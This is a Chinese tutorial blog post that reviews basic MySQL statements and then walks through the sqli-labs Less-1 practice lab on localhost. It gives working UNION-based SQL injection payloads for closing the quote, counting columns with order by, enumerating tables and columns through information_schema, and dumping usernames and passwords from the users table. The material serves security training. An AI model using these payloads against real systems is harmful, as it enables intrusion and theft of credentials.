MySQL基本查询语句/Sqli-labs-master Less-1练习

要进行sql注入,要对sql查询语句有一定的了解,下面列了一些常用的sql语句

在输入sql查询语句时,结束标识是分号(在SQL注入时,堆叠注入时会用到)

对数据库进行操作

show databases; 显示所有数据库

create database DB; 创建一个名为DB的数据库

use DB; 使用DB数据库

create database if not exists DB; 如果数据库DB不存咋,则创建一个名为DB的数据库

drop database DB; 删除名为DB的数据库

select database(); 显示当前数据库

对表进行操作

show tables; 显示当前数据库所有的表名

create table test; 创建名为test的表

Show create table 表名;查看表的创建信息

Create table 新表名 like 旧表名;快速创建一个表结构相同的表

Drop table 表名;删除表

create table if exists 表名;如果不存在这个表,则创建一个表

Alter table 表名 add 列名1 类型1,列名2 类型2····;给表添加一个新的列

Alter table 表名 modify 列名 新的类型 ····;修改列的类型

Alter table 表名 change 旧列名 新列名 类型;

Alter table 表名 drop  列名;  删除列

Rename table 表名 to 新表名; 修改表名

Alter table 表名 character set 字符集; 修改表的字符集

查询语句

select <字段名> from <数据库名>.<表名> where <条件>; //字段名之间用逗号隔开

order by 列数; 排序

例:数据库名:DB

       表名:table

       字段:username

查询语句为:select username from DB.table;

Sqli-labs-master   Less-1

参数为id

http://127.0.0.1/sqli-labs-master/Less-1/?id=1  结果如下

 

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'

报了语法错误,在最后价格注释符 --+

 http://127.0.0.1/sqli-labs-master/Less-1/?id=1' --+

恢复正常

猜测查询语句为:select <字段> from <数据库>.<表> where id='$id'; 

$id就是我们输入的 1' --+  //我们输入的单引号与前面的单引号闭合掉,在通过注释符注释掉后面的单引号:

select <字段> from <数据库>.<表> where id='1' --+ //加红的地方就是我们输入的地方

我们知道 order by 列数 是让查询的内容按我们所指定的那一列排序,而如果我们指定的列数超过了这个表的列数就会报错,所以我们使用order by 来判断这个表有几列

?id=1' order by 4 --+ // select <字段> from <数据库>.<表> where id='1' order by 4 --+ '

报错了,说明这个表里没有4个字段

 

 ?id=1' order by 3 --+ // select <字段> from <数据库>.<表> where id='1' order by 3 --+ '

没有报错,说明这个表里有3个字段

 字段数量判段完毕,接下来采用联合注入的方式进行注入

union 联合查询

关于union联合查询,可以找一下更专业的文章来解疑,这里就不多赘述了

你通过order by 判断这个表有几列,在union select 后就写几列

?id=-1' union select 1,2,3 --+   //这里要把这个1改为表内没有的内容,否则查询内容显示不出来,我这里改为-1.

// select <字段> from <数据库>.<表> where id='-1' union select 1,2,3 --+ '

可以看到在字段2和字段3处是由回显的

 判断当前数据库:select database()

?id=-1' union select 1,database(),3 --+   //把2 改为了database()

// select <字段> from <数据库>.<表> where id='-1' union select 1,database(),3 --+ '

得到当前数据库名:security

 

 接下来爆表名

在mysql数据库中有一个数据库 “information_schema” 里面有3个表分别是:

schemata,tables,columns

schemata表:内容是所有的数据库名

   字段schema_name:代表数据库名

tables表:内容是所有的表名

    字段schema_table:代表了数据库与表的对应关系,内容是数据库名

    字段table_name:表名

columns表:是所有的字段名

     字段table_name:表名

     字段column_name:字段名

所以我们要爆表名的话要在tables表内

?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+  //查询当前数据库(security)下所有的表名。是在tables查询的。group_concat()是让数据在一行显示。

 ?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+

//查询当前数据库(security)下,users表内的所有字段名。是在columns表中查询的。

?id=-1' union select 1,database(),group_concat(id,username,password) from security.users --+

//查询security数据库下users表的内容。

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Zker_WH

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值